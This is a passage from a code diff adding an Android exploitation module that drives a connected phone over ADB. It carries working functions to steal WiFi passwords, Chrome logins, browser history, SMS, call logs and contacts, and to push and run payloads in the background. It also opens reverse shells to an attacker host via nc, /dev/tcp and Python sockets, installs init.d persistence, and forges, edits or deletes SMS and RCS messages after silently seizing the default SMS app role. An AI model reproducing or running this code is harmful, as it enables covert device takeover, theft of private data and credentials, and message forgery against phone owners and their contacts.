deployment, boot/recovery exploits, rooting. +Wraps HardwareManager for offensive Android operations. +""" + +import os +import re +import json +import time +import sqlite3 +import shutil +from pathlib import Path +from typing import Optional, List, Dict, Any + +from core.paths import get_data_dir +from core.hardware import get_hardware_manager + + +class AndroidExploitManager: + """All Android exploitation logic.""" + + def __init__(self): + self.hw = get_hardware_manager() + self._base = get_data_dir() / 'android_exploit' + for sub in ('apps', 'recon', 'payloads', 'boot', 'root'): + (self._base / sub).mkdir(parents=True, exist_ok=True) + + def _serial_dir(self, category, serial): + d = self._base / category / serial + d.mkdir(parents=True, exist_ok=True) + return d + + def _shell(self, serial, cmd, timeout=30): + """Raw shell command (no safety filter).""" + return self.hw.adb_shell_raw(serial, cmd, timeout=timeout) + + # ── App Extraction ─────────────────────────────────────────────── + + def list_packages(self, serial, include_system=False): + """List installed packages. Returns [{package, path, is_system}].""" + flag = '' if include_system else '-3' + res = self._shell(serial, f'pm list packages -f {flag}') + if res['returncode'] != 0: + return {'error': res['output'], 'packages': []} + packages = [] + for line in res['output'].strip().split('\n'): + line = line.strip() + if not line.startswith('package:'): + continue + # Format: package:/data/app/com.example-1/base.apk=com.example + rest = line[len('package:'):] + if '=' in rest: + path, pkg = rest.rsplit('=', 1) + is_sys = path.startswith('/system') or path.startswith('/product') + packages.append({'package': pkg, 'path': path, 'is_system': is_sys}) + return {'packages': packages, 'count': len(packages)} + + def pull_apk(self, serial, package): + """Pull APK for a package.""" + # Get APK path + res = self._shell(serial, f'pm path {package}') + if res['returncode'] != 0 or not res['output'].strip(): + return {'success': False, 'error': f'Cannot find path for {package}'} + apk_path = res['output'].strip().replace('package:', '').split('\n')[0].strip() + + out_dir = self._serial_dir('apps', serial) + local_path = str(out_dir / f'{package}.apk') + result = self.hw.adb_pull(serial, apk_path, local_path) + if result['success']: + size = os.path.getsize(local_path) if os.path.exists(local_path) else 0 + return {'success': True, 'local_path': local_path, 'size': size, 'remote_path': apk_path} + return {'success': False, 'error': result.get('output', 'Pull failed')} + + def pull_app_data(self, serial, package): + """Pull app data (databases, shared_prefs, files). Tries run-as then root.""" + out_dir = self._serial_dir('apps', serial) / f'{package}_data' + out_dir.mkdir(parents=True, exist_ok=True) + pulled = [] + + # Try run-as first (debuggable apps) + for subdir in ('databases', 'shared_prefs', 'files'): + res = self._shell(serial, f'run-as {package} ls /data/data/{package}/{subdir}/ 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + for fname in res['output'].strip().split('\n'): + fname = fname.strip() + if not fname: + continue + remote = f'/data/data/{package}/{subdir}/{fname}' + # Try run-as cat to pull + cat_res = self._shell(serial, f'run-as {package} cat {remote}', timeout=15) + if cat_res['returncode'] == 0: + local_sub = out_dir / subdir + local_sub.mkdir(exist_ok=True) + local_file = local_sub / fname + with open(local_file, 'w') as f: + f.write(cat_res['output']) + pulled.append(str(local_file)) + + # If run-as didn't work, try root + if not pulled: + for subdir in ('databases', 'shared_prefs', 'files'): + res = self._shell(serial, f'su -c "ls /data/data/{package}/{subdir}/" 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + for fname in res['output'].strip().split('\n'): + fname = fname.strip() + if not fname: + continue + remote = f'/data/data/{package}/{subdir}/{fname}' + tmp = f'/data/local/tmp/_exfil_{fname}' + self._shell(serial, f'su -c "cp {remote} {tmp} && chmod 644 {tmp}"') + local_sub = out_dir / subdir + local_sub.mkdir(exist_ok=True) + local_file = str(local_sub / fname) + self.hw.adb_pull(serial, tmp, local_file) + self._shell(serial, f'rm {tmp}') + if os.path.exists(local_file): + pulled.append(local_file) + + return {'success': len(pulled) > 0, 'files': pulled, 'output_dir': str(out_dir)} + + def extract_shared_prefs(self, serial, package): + """Extract shared_prefs XML files for a package.""" + res = self._shell(serial, f'run-as {package} ls /data/data/{package}/shared_prefs/ 2>/dev/null') + if res['returncode'] != 0: + # Try root + res = self._shell(serial, f'su -c "ls /data/data/{package}/shared_prefs/" 2>/dev/null') + if res['returncode'] != 0: + return {'success': False, 'error': 'Cannot access shared_prefs (need debuggable app or root)'} + + prefs = {} + for fname in res['output'].strip().split('\n'): + fname = fname.strip() + if not fname or not fname.endswith('.xml'): + continue + cat = self._shell(serial, f'run-as {package} cat /data/data/{package}/shared_prefs/{fname} 2>/dev/null') + if cat['returncode'] != 0: + cat = self._shell(serial, f'su -c "cat /data/data/{package}/shared_prefs/{fname}" 2>/dev/null') + if cat['returncode'] == 0: + prefs[fname] = cat['output'] + + return {'success': len(prefs) > 0, 'prefs': prefs, 'count': len(prefs)} + + # ── Device Recon ───────────────────────────────────────────────── + + def full_device_dump(self, serial): + """Full device reconnaissance dump.""" + dump = {} + # All properties + res = self._shell(serial, 'getprop', timeout=15) + if res['returncode'] == 0: + props = {} + for line in res['output'].split('\n'): + m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line) + if m: + props[m.group(1)] = m.group(2) + dump['properties'] = props + + # Key system info + dump['device_info'] = self.hw.adb_device_info(serial) + + # SELinux status + res = self._shell(serial, 'getenforce 2>/dev/null') + dump['selinux'] = res['output'].strip() if res['returncode'] == 0 else 'unknown' + + # Kernel version + res = self._shell(serial, 'uname -a') + dump['kernel'] = res['output'].strip() if res['returncode'] == 0 else 'unknown' + + # Build fingerprint + res = self._shell(serial, 'getprop ro.build.fingerprint') + dump['fingerprint'] = res['output'].strip() if res['returncode'] == 0 else 'unknown' + + # Network info + res = self._shell(serial, 'ip addr show 2>/dev/null || ifconfig') + dump['network'] = res['output'].strip() if res['returncode'] == 0 else '' + + # Installed packages count + res = self._shell(serial, 'pm list packages | wc -l') + dump['package_count'] = res['output'].strip() if res['returncode'] == 0 else '0' + + # Running services + res = self._shell(serial, 'dumpsys activity services | head -50', timeout=15) + dump['services_sample'] = res['output'].strip() if res['returncode'] == 0 else '' + + return dump + + def get_accounts(self, serial): + """Get accounts registered on device.""" + res = self._shell(serial, 'dumpsys account 2>/dev/null', timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output']} + accounts = [] + current = None + for line in res['output'].split('\n'): + line = line.strip() + # Account {name=user@gmail.com, type=com.google} + m = re.search(r'Account\s*\{name=(.+?),\s*type=(.+?)\}', line) + if m: + accounts.append({'name': m.group(1), 'type': m.group(2)}) + # Deduplicate + seen = set() + unique = [] + for a in accounts: + key = f"{a['name']}:{a['type']}" + if key not in seen: + seen.add(key) + unique.append(a) + return {'success': True, 'accounts': unique, 'count': len(unique)} + + def get_wifi_passwords(self, serial): + """Extract saved WiFi passwords. Requires ROOT.""" + passwords = [] + # Try newer Android (WifiConfigStore.xml) + res = self._shell(serial, 'su -c "cat /data/misc/wifi/WifiConfigStore.xml" 2>/dev/null', timeout=15) + if res['returncode'] == 0 and res['output'].strip(): + ssid = None + for line in res['output'].split('\n'): + m = re.search(r'"SSID".*?"(.+?)"', line) + if m: + ssid = m.group(1).strip('"') + m = re.search(r'"PreSharedKey".*?"(.+?)"', line) + if m and ssid: + passwords.append({'ssid': ssid, 'password': m.group(1).strip('"')}) + ssid = None + else: + # Try older Android (wpa_supplicant.conf) + res = self._shell(serial, 'su -c "cat /data/misc/wifi/wpa_supplicant.conf" 2>/dev/null', timeout=15) + if res['returncode'] == 0: + ssid = None + for line in res['output'].split('\n'): + line = line.strip() + if line.startswith('ssid='): + ssid = line.split('=', 1)[1].strip('"') + elif line.startswith('psk=') and ssid: + passwords.append({'ssid': ssid, 'password': line.split('=', 1)[1].strip('"')}) + ssid = None + + if not passwords: + return {'success': False, 'error': 'No WiFi passwords found (need root)', 'passwords': []} + return {'success': True, 'passwords': passwords, 'count': len(passwords)} + + def extract_call_logs(self, serial, limit=200): + """Extract call logs via content provider.""" + res = self._shell(serial, + f'content query --uri content://call_log/calls --projection number:type:date:duration --sort "date DESC" 2>/dev/null', + timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'calls': []} + calls = [] + type_map = {'1': 'incoming', '2': 'outgoing', '3': 'missed', '4': 'voicemail', '5': 'rejected'} + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if 'number' in entry: + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + calls.append(entry) + if len(calls) >= limit: + break + return {'success': True, 'calls': calls, 'count': len(calls)} + + def extract_sms(self, serial, limit=200): + """Extract SMS messages via content provider.""" + res = self._shell(serial, + f'content query --uri content://sms/ --projection address:body:date:type --sort "date DESC" 2>/dev/null', + timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'messages': []} + messages = [] + type_map = {'1': 'inbox', '2': 'sent', '3': 'draft'} + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if 'address' in entry: + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + messages.append(entry) + if len(messages) >= limit: + break + return {'success': True, 'messages': messages, 'count': len(messages)} + + def extract_contacts(self, serial): + """Extract contacts via content provider.""" + res = self._shell(serial, + 'content query --uri content://contacts/phones/ --projection display_name:number 2>/dev/null', + timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'contacts': []} + contacts = [] + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if 'display_name' in entry or 'number' in entry: + contacts.append(entry) + return {'success': True, 'contacts': contacts, 'count': len(contacts)} + + def extract_browser_history(self, serial): + """Pull Chrome History SQLite and query it locally. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + remote = '/data/data/com.android.chrome/app_chrome/Default/History' + tmp = '/data/local/tmp/_chrome_history' + self._shell(serial, f'su -c "cp {remote} {tmp} && chmod 644 {tmp}"') + local_path = str(out_dir / 'chrome_history.db') + result = self.hw.adb_pull(serial, tmp, local_path) + self._shell(serial, f'rm {tmp}') + + if not result['success'] or not os.path.exists(local_path): + return {'success': False, 'error': 'Cannot pull Chrome history (need root)', 'history': []} + + history = [] + try: + conn = sqlite3.connect(local_path) + cur = conn.cursor() + cur.execute('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 200') + for row in cur.fetchall(): + history.append({ + 'url': row[0], 'title': row[1], + 'visit_count': row[2], 'last_visit': row[3] + }) + conn.close() + except Exception as e: + return {'success': False, 'error': str(e), 'history': []} + + return {'success': True, 'history': history, 'count': len(history), 'db_path': local_path} + + def extract_saved_credentials(self, serial): + """Pull Chrome Login Data SQLite. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + remote = '/data/data/com.android.chrome/app_chrome/Default/Login Data' + tmp = '/data/local/tmp/_chrome_logins' + self._shell(serial, f'su -c "cp \'{remote}\' {tmp} && chmod 644 {tmp}"') + local_path = str(out_dir / 'chrome_logins.db') + result = self.hw.adb_pull(serial, tmp, local_path) + self._shell(serial, f'rm {tmp}') + + if not result['success'] or not os.path.exists(local_path): + return {'success': False, 'error': 'Cannot pull Login Data (need root)', 'credentials': []} + + creds = [] + try: + conn = sqlite3.connect(local_path) + cur = conn.cursor() + cur.execute('SELECT origin_url, username_value, password_value FROM logins') + for row in cur.fetchall(): + creds.append({ + 'url': row[0], 'username': row[1], + 'password_encrypted': bool(row[2]) + }) + conn.close() + except Exception as e: + return {'success': False, 'error': str(e), 'credentials': []} + + return {'success': True, 'credentials': creds, 'count': len(creds), 'db_path': local_path} + + def export_recon_report(self, serial): + """Run all recon methods and save to JSON.""" + out_dir = self._serial_dir('recon', serial) + report = { + 'serial': serial, + 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), + 'device_dump': self.full_device_dump(serial), + 'accounts': self.get_accounts(serial), + 'call_logs': self.extract_call_logs(serial), + 'sms': self.extract_sms(serial), + 'contacts': self.extract_contacts(serial), + } + report_path = str(out_dir / f'report_{int(time.time())}.json') + with open(report_path, 'w') as f: + json.dump(report, f, indent=2, default=str) + return {'success': True, 'report_path': report_path, 'sections': list(report.keys())} + + # ── Payload Deployment ─────────────────────────────────────────── + + def deploy_binary(self, serial, local_path, remote_path='/data/local/tmp/'): + """Push a binary and make it executable.""" + if not os.path.isfile(local_path): + return {'success': False, 'error': f'File not found: {local_path}'} + fname = os.path.basename(local_path) + if remote_path.endswith('/'): + remote_full = remote_path + fname + else: + remote_full = remote_path + result = self.hw.adb_push(serial, local_path, remote_full) + if not result['success']: + return {'success': False, 'error': result.get('output', 'Push failed')} + self._shell(serial, f'chmod +x {remote_full}') + return {'success': True, 'remote_path': remote_full} + + def execute_payload(self, serial, remote_path, args='', background=True): + """Execute a deployed payload.""" + if background: + cmd = f'nohup {remote_path} {args} > /dev/null 2>&1 & echo $!' + else: + cmd = f'{remote_path} {args}' + res = self._shell(serial, cmd, timeout=15) + pid = res['output'].strip().split('\n')[-1].strip() if background else '' + return { + 'success': res['returncode'] == 0, + 'output': res['output'], + 'pid': pid, + 'background': background, + } + + def setup_reverse_shell(self, serial, lhost, lport, method='nc'): + """Set up a reverse shell on device.""" + if method == 'nc': + cmd = f'nohup sh -c "nc {lhost} {lport} -e /system/bin/sh" > /dev/null 2>&1 &' + elif method == 'bash': + cmd = f'nohup sh -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" > /dev/null 2>&1 &' + elif method == 'python': + py_cmd = (f"import socket,subprocess,os;" + f"s=socket.socket();" + f"s.connect(('{lhost}',{lport}));" + f"os.dup2(s.fileno(),0);" + f"os.dup2(s.fileno(),1);" + f"os.dup2(s.fileno(),2);" + f"subprocess.call(['/system/bin/sh','-i'])") + cmd = f'nohup python -c "{py_cmd}" > /dev/null 2>&1 &' + else: + return {'success': False, 'error': f'Unknown method: {method}'} + + res = self._shell(serial, cmd, timeout=10) + return { + 'success': True, + 'method': method, + 'lhost': lhost, + 'lport': lport, + 'output': res['output'], + } + + def install_persistence(self, serial, method='init.d'): + """Install persistence mechanism. Requires ROOT.""" + if method == 'init.d': + script = '#!/system/bin/sh\n# AUTARCH persistence\n' + # Write a minimal init.d script + res = self._shell(serial, + f'su -c "mkdir -p /system/etc/init.d && ' + f'echo \'#!/system/bin/sh\' > /system/etc/init.d/99autarch && ' + f'chmod 755 /system/etc/init.d/99autarch"') + return { + 'success': res['returncode'] == 0, + 'method': method, + 'path': '/system/etc/init.d/99autarch', + 'output': res['output'], + } + return {'success': False, 'error': f'Unknown method: {method}'} + + def list_running_payloads(self, serial): + """List processes in /data/local/tmp/.""" + res = self._shell(serial, 'ps -ef 2>/dev/null || ps') + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'payloads': []} + payloads = [] + for line in res['output'].split('\n'): + if '/data/local/tmp/' in line: + parts = line.split() + if len(parts) >= 2: + payloads.append({ + 'pid': parts[1] if len(parts) > 1 else parts[0], + 'command': line.strip(), + }) + return {'success': True, 'payloads': payloads, 'count': len(payloads)} + + def kill_payload(self, serial, pid): + """Kill a running payload by PID.""" + res = self._shell(serial, f'kill {pid} 2>/dev/null || su -c "kill {pid}"') + return {'success': True, 'pid': pid, 'output': res['output']} + + # ── SMS Manipulation ───────────────────────────────────────────── + + def _with_sms_role(self, serial, am_cmd, timeout=15): + """Execute a broadcast while Archon is temporarily the default SMS app. + + Swaps Archon into the SMS role, runs the broadcast, reads the result + file, then restores the original default SMS app. Fully silent. + """ + # Check Archon is installed + res = self._shell(serial, 'pm list packages com.darkhal.archon', timeout=5) + if 'com.darkhal.archon' not in res.get('output', ''): + return {'success': False, 'error': 'Archon companion app not installed'} + + # Get current default SMS app + res = self._shell(serial, 'cmd role get-role-holders android.app.role.SMS', timeout=5) + original_sms_app = '' + if res['returncode'] == 0: + out = res['output'].strip() + # Output may be bare package name or [package] depending on Android version + m = re.search(r'\[(.+?)\]', out) + if m: + original_sms_app = m.group(1) + elif out and '.' in out: + original_sms_app = out.split('\n')[0].strip() + + try: + # Grant SMS permissions to Archon + for perm in ['READ_SMS', 'SEND_SMS', 'RECEIVE_SMS']: + self._shell(serial, + f'pm grant com.darkhal.archon android.permission.{perm}', + timeout=5) + + # Set Archon as default SMS app + self._shell(serial, + 'cmd role add-role-holder android.app.role.SMS com.darkhal.archon 0', + timeout=5) + + # Clear previous result + self._shell(serial, + 'run-as com.darkhal.archon rm -f files/sms_result.txt', + timeout=5) + + # Send the broadcast + self._shell(serial, am_cmd, timeout=10) + + # Wait for receiver to process + time.sleep(0.5) + + # Read result + res = self._shell(serial, + 'run-as com.darkhal.archon cat files/sms_result.txt', + timeout=5) + result_text = res.get('output', '').strip() + + if result_text.startswith('SUCCESS:'): + return {'success': True, 'detail': result_text[8:]} + elif result_text.startswith('FAIL:') or result_text.startswith('ERROR:'): + return {'success': False, 'error': result_text} + else: + return {'success': False, + 'error': f'No result from Archon (got: {result_text or "empty"})'} + + finally: + # Always restore original default SMS app + if original_sms_app and original_sms_app != 'com.darkhal.archon': + self._shell(serial, + f'cmd role add-role-holder android.app.role.SMS' + f' {original_sms_app} 0', + timeout=5) + + def _sms_max_id(self, serial): + """Get the current maximum _id in the SMS table (for verifying inserts).""" + res = self._shell(serial, + 'content query --uri content://sms/ --projection _id' + ' --sort "_id DESC LIMIT 1"', timeout=5) + if res['returncode'] == 0: + m = re.search(r'_id=(\d+)', res['output']) + if m: + return int(m.group(1)) + return 0 + + def _sms_row_exists(self, serial, sms_id): + """Check if a specific SMS _id exists.""" + res = self._shell(serial, + f'content query --uri content://sms/{sms_id} --projection _id', + timeout=5) + return res['returncode'] == 0 and '_id=' in res.get('output', '') + + def sms_list(self, serial, limit=50, address=None): + """List SMS messages on device. Optional filter by address (phone number).""" + proj = '_id:address:body:date:type:read' + cmd = f'content query --uri content://sms/ --projection {proj} --sort "date DESC"' + res = self._shell(serial, cmd, timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output'], 'messages': []} + type_map = {'1': 'inbox', '2': 'sent', '3': 'draft', '4': 'outbox'} + messages = [] + for line in res['output'].split('\n'): + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if '_id' not in entry: + continue + if address and entry.get('address', '') != address: + continue + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + # Convert epoch ms to readable + try: + ts = int(entry.get('date', 0)) + if ts > 0: + entry['date_readable'] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts / 1000)) + except (ValueError, OSError): + pass + messages.append(entry) + if len(messages) >= limit: + break + return {'success': True, 'messages': messages, 'count': len(messages)} + + def sms_insert(self, serial, address, body, date_str=None, time_str=None, + msg_type='inbox', read=True): + """Insert a spoofed SMS message. + + Args: + address: Phone number (sender for inbox, recipient for sent) + body: Message text + date_str: Date as YYYY-MM-DD (default: now) + time_str: Time as HH:MM:SS (default: now) + msg_type: 'inbox' (1), 'sent' (2), 'draft' (3) + read: Mark as read + """ + type_map = {'inbox': 1, 'sent': 2, 'draft': 3, 'outbox': 4, + '1': 1, '2': 2, '3': 3, '4': 4} + type_val = type_map.get(str(msg_type), 1) + + # Build epoch milliseconds from date + time + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + date_ms = int(ts * 1000) + except ValueError: + return {'success': False, 'error': f'Invalid date/time: {dt_str}'} + else: + date_ms = int(time.time() * 1000) + + # Try enabling WRITE_SMS appop for shell (helps on Android 10-12) + self._shell(serial, 'appops set com.android.shell WRITE_SMS allow', timeout=5) + + # Snapshot max _id before insert to verify afterwards + old_max = self._sms_max_id(serial) + + body_escaped = body.replace("'", "'\\''") + cmd = ( + f"content insert --uri content://sms/" + f" --bind address:s:'{address}'" + f" --bind body:s:'{body_escaped}'" + f" --bind date:l:{date_ms}" + f" --bind type:i:{type_val}" + f" --bind read:i:{1 if read else 0}" + f" --bind seen:i:1" + ) + res = self._shell(serial, cmd, timeout=10) + + if res['returncode'] == 0: + # Verify the insert actually created a row (Android 10+ silently drops) + new_max = self._sms_max_id(serial) + if new_max > old_max: + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(date_ms / 1000)) + return { + 'success': True, + 'address': address, 'body': body, + 'date': date_readable, 'date_ms': date_ms, 'type': msg_type, + } + + # Direct insert failed (silently rejected) — use Archon app as SMS role proxy + body_escaped = body.replace("'", "'\\''") + am_cmd = ( + f"am broadcast -a com.darkhal.archon.SMS_INSERT" + f" -n com.darkhal.archon/.service.SmsWorker" + f" --es address '{address}'" + f" --es body '{body_escaped}'" + f" --el date {date_ms}" + f" --ei type {type_val}" + f" --ei read {1 if read else 0}" + ) + archon = self._with_sms_role(serial, am_cmd) + if archon.get('success'): + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(date_ms / 1000)) + return { + 'success': True, + 'address': address, 'body': body, + 'date': date_readable, 'date_ms': date_ms, 'type': msg_type, + 'method': 'archon_proxy', + } + + return {'success': False, 'error': archon.get('error', 'SMS insert failed')} + + def sms_delete(self, serial, sms_id=None, address=None, delete_all_from=False): + """Delete SMS messages. + + Args: + sms_id: Delete specific message by _id + address: Delete messages from/to this number + delete_all_from: If True and address set, delete ALL from that number + """ + # Enable WRITE_SMS appop (helps on Android 10-12) + self._shell(serial, 'appops set com.android.shell WRITE_SMS allow', timeout=5) + + if sms_id: + if not self._sms_row_exists(serial, sms_id): + return {'success': False, 'error': f'SMS #{sms_id} not found'} + cmd = f'content delete --uri content://sms/{sms_id}' + res = self._shell(serial, cmd, timeout=10) + if res['returncode'] == 0 and not self._sms_row_exists(serial, sms_id): + return {'success': True, 'deleted_id': sms_id} + return { + 'success': False, + 'error': ('SMS provider rejected delete — Android 10+ restricts ' + 'SMS database writes to the default SMS app.'), + } + elif address and delete_all_from: + cmd = f"content delete --uri content://sms/ --where \"address='{address}'\"" + res = self._shell(serial, cmd, timeout=10) + return { + 'success': res['returncode'] == 0, + 'deleted_address': address, + 'output': res['output'], + } + return {'success': False, 'error': 'Provide sms_id or address with delete_all_from=True'} + + def sms_delete_all(self, serial): + """Delete ALL SMS messages on the device.""" + cmd = 'content delete --uri content://sms/' + res = self._shell(serial, cmd, timeout=15) + return {'success': res['returncode'] == 0, 'output': res['output']} + + def sms_update(self, serial, sms_id, body=None, date_str=None, time_str=None, + address=None, msg_type=None, read=None): + """Update an existing SMS message fields.""" + self._shell(serial, 'appops set com.android.shell WRITE_SMS allow', timeout=5) + + if not self._sms_row_exists(serial, sms_id): + return {'success': False, 'error': f'SMS #{sms_id} not found'} + + binds = [] + if body is not None: + body_escaped = body.replace("'", "'\\''") + binds.append(f"--bind body:s:'{body_escaped}'") + if address is not None: + binds.append(f"--bind address:s:'{address}'") + if msg_type is not None: + type_map = {'inbox': 1, 'sent': 2, 'draft': 3, '1': 1, '2': 2, '3': 3} + binds.append(f"--bind type:i:{type_map.get(str(msg_type), 1)}") + if read is not None: + binds.append(f"--bind read:i:{1 if read else 0}") + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + binds.append(f"--bind date:l:{int(ts * 1000)}") + except ValueError: + return {'success': False, 'error': f'Invalid date/time: {dt_str}'} + + if not binds: + return {'success': False, 'error': 'Nothing to update'} + + cmd = f"content update --uri content://sms/{sms_id} {' '.join(binds)}" + res = self._shell(serial, cmd, timeout=10) + + # Verify update took effect by reading the row back + updated = False + if res['returncode'] == 0 and body is not None: + verify = self._shell(serial, + f'content query --uri content://sms/{sms_id}' + f' --projection body', timeout=5) + if verify['returncode'] == 0 and body in verify.get('output', ''): + updated = True + elif res['returncode'] == 0 and body is None: + updated = True # non-body updates harder to verify, trust return code + + if updated: + return {'success': True, 'id': sms_id, 'output': 'SMS updated'} + + # Direct update failed — use Archon app as SMS role proxy + extras = [f"--es id '{sms_id}'"] + if body is not None: + body_escaped = body.replace("'", "'\\''") + extras.append(f"--es body '{body_escaped}'") + if address is not None: + extras.append(f"--es address '{address}'") + if msg_type is not None: + type_map_r = {'inbox': 1, 'sent': 2, 'draft': 3, '1': 1, '2': 2, '3': 3} + extras.append(f"--ei type {type_map_r.get(str(msg_type), 1)}") + if read is not None: + extras.append(f"--ei read {1 if read else 0}") + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + extras.append(f"--el date {int(ts * 1000)}") + except ValueError: + pass + + am_cmd = ( + f"am broadcast -a com.darkhal.archon.SMS_UPDATE" + f" -n com.darkhal.archon/.service.SmsWorker" + f" {' '.join(extras)}" + ) + archon = self._with_sms_role(serial, am_cmd) + if archon.get('success'): + return {'success': True, 'id': sms_id, 'output': 'SMS updated via Archon'} + + return {'success': False, 'error': archon.get('error', 'SMS update failed')} + + def sms_bulk_insert(self, serial, messages): + """Insert multiple SMS messages. + + Args: + messages: List of dicts with keys: address, body, date, time, type, read + """ + results = [] + for msg in messages: + r = self.sms_insert( + serial, + address=msg.get('address', ''), + body=msg.get('body', ''), + date_str=msg.get('date'), + time_str=msg.get('time'), + msg_type=msg.get('type', 'inbox'), + read=msg.get('read', True), + ) + results.append(r) + success_count = sum(1 for r in results if r.get('success')) + return {'success': success_count > 0, 'total': len(messages), + 'inserted': success_count, 'results': results} + + # ── RCS Spoofing ───────────────────────────────────────────────── + + def rcs_check_support(self, serial): + """Check if Google Messages / RCS is available on device.""" + info = {'rcs_available': False, 'messaging_app': None, 'database': None} + # Check for Google Messages + res = self._shell(serial, 'pm list packages | grep com.google.android.apps.messaging') + if res['returncode'] == 0 and 'messaging' in res['output']: + info['messaging_app'] = 'com.google.android.apps.messaging' + info['rcs_available'] = True + else: + # Check default messaging + res = self._shell(serial, 'pm list packages | grep com.android.messaging') + if res['returncode'] == 0: + info['messaging_app'] = 'com.android.messaging' + + # Check for bugle_db + db_paths = [ + '/data/data/com.google.android.apps.messaging/databases/bugle_db', + '/data/user/0/com.google.android.apps.messaging/databases/bugle_db', + ] + for db in db_paths: + res = self._shell(serial, f'su -c "ls {db}" 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + info['database'] = db + break + + return info + + def rcs_list(self, serial, limit=50): + """List RCS messages from Google Messages bugle_db. Requires ROOT.""" + check = self.rcs_check_support(serial) + if not check.get('database'): + return {'success': False, 'error': 'Google Messages database not found (need root)', + 'messages': [], 'rcs_info': check} + + out_dir = self._serial_dir('recon', serial) + db_remote = check['database'] + tmp = '/data/local/tmp/_bugle_db' + self._shell(serial, f'su -c "cp {db_remote} {tmp} && chmod 644 {tmp}"') + local_db = str(out_dir / 'bugle_db') + result = self.hw.adb_pull(serial, tmp, local_db) + self._shell(serial, f'rm {tmp}') + + if not result['success'] or not os.path.exists(local_db): + return {'success': False, 'error': 'Failed to pull bugle_db', 'messages': []} + + messages = [] + try: + conn = sqlite3.connect(local_db) + cur = conn.cursor() + # Get messages with conversation and participant info + cur.execute(''' + SELECT m.message_id, m.conversation_id, m.received_timestamp, + m.message_status, m.message_protocol, + p.text, p.content_type, + c.name AS conv_name + FROM messages m + LEFT JOIN parts p ON m._id = p.message_id + LEFT JOIN conversations c ON m.conversation_id = c._id + ORDER BY m.received_timestamp DESC + LIMIT ? + ''', (limit,)) + for row in cur.fetchall(): + proto = row[4] or 0 + messages.append({ + 'message_id': row[0], + 'conversation_id': row[1], + 'timestamp': row[2], + 'timestamp_readable': time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(row[2] / 1000)) if row[2] else '', + 'status': row[3], + 'protocol': 'RCS' if proto == 1 else 'SMS' if proto == 0 else f'proto_{proto}', + 'text': row[5] or '', + 'content_type': row[6] or 'text/plain', + 'conversation_name': row[7] or '', + }) + conn.close() + except Exception as e: + return {'success': False, 'error': f'Database query failed: {e}', 'messages': []} + + return {'success': True, 'messages': messages, 'count': len(messages), 'db_path': local_db} + + def rcs_insert(self, serial, address, body, date_str=None, time_str=None, + sender_name=None, is_outgoing=False): + """Insert a spoofed RCS message into Google Messages bugle_db. Requires ROOT. + + This pulls the database, inserts locally, then pushes back. + The messaging app must be force-stopped before and restarted after. + """ + check = self.rcs_check_support(serial) + if not check.get('database'): + return {'success': False, 'error': 'Google Messages database not found (need root)'} + + out_dir = self._serial_dir('recon', serial) + db_remote = check['database'] + pkg = check['messaging_app'] + tmp = '/data/local/tmp/_bugle_db_rw' + + # Build timestamp + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + date_ms = int(ts * 1000) + except ValueError: + return {'success': False, 'error': f'Invalid date/time: {dt_str}'} + else: + date_ms = int(time.time() * 1000) + + # Force-stop messaging app + self._shell(serial, f'am force-stop {pkg}') + time.sleep(0.5) + + # Copy database to temp location + self._shell(serial, f'su -c "cp {db_remote} {tmp} && cp {db_remote}-journal {tmp}-journal 2>/dev/null; chmod 666 {tmp} {tmp}-journal 2>/dev/null"') + + # Pull + local_db = str(out_dir / 'bugle_db_rw') + result = self.hw.adb_pull(serial, tmp, local_db) + if not result['success']: + return {'success': False, 'error': 'Failed to pull database'} + + try: + conn = sqlite3.connect(local_db) + cur = conn.cursor() + + # Find or create conversation for this address + cur.execute('SELECT _id FROM conversations WHERE name = ? OR other_participant_normalized_destination = ? LIMIT 1', + (address, address)) + row = cur.fetchone() + if row: + conv_id = row[0] + else: + # Create 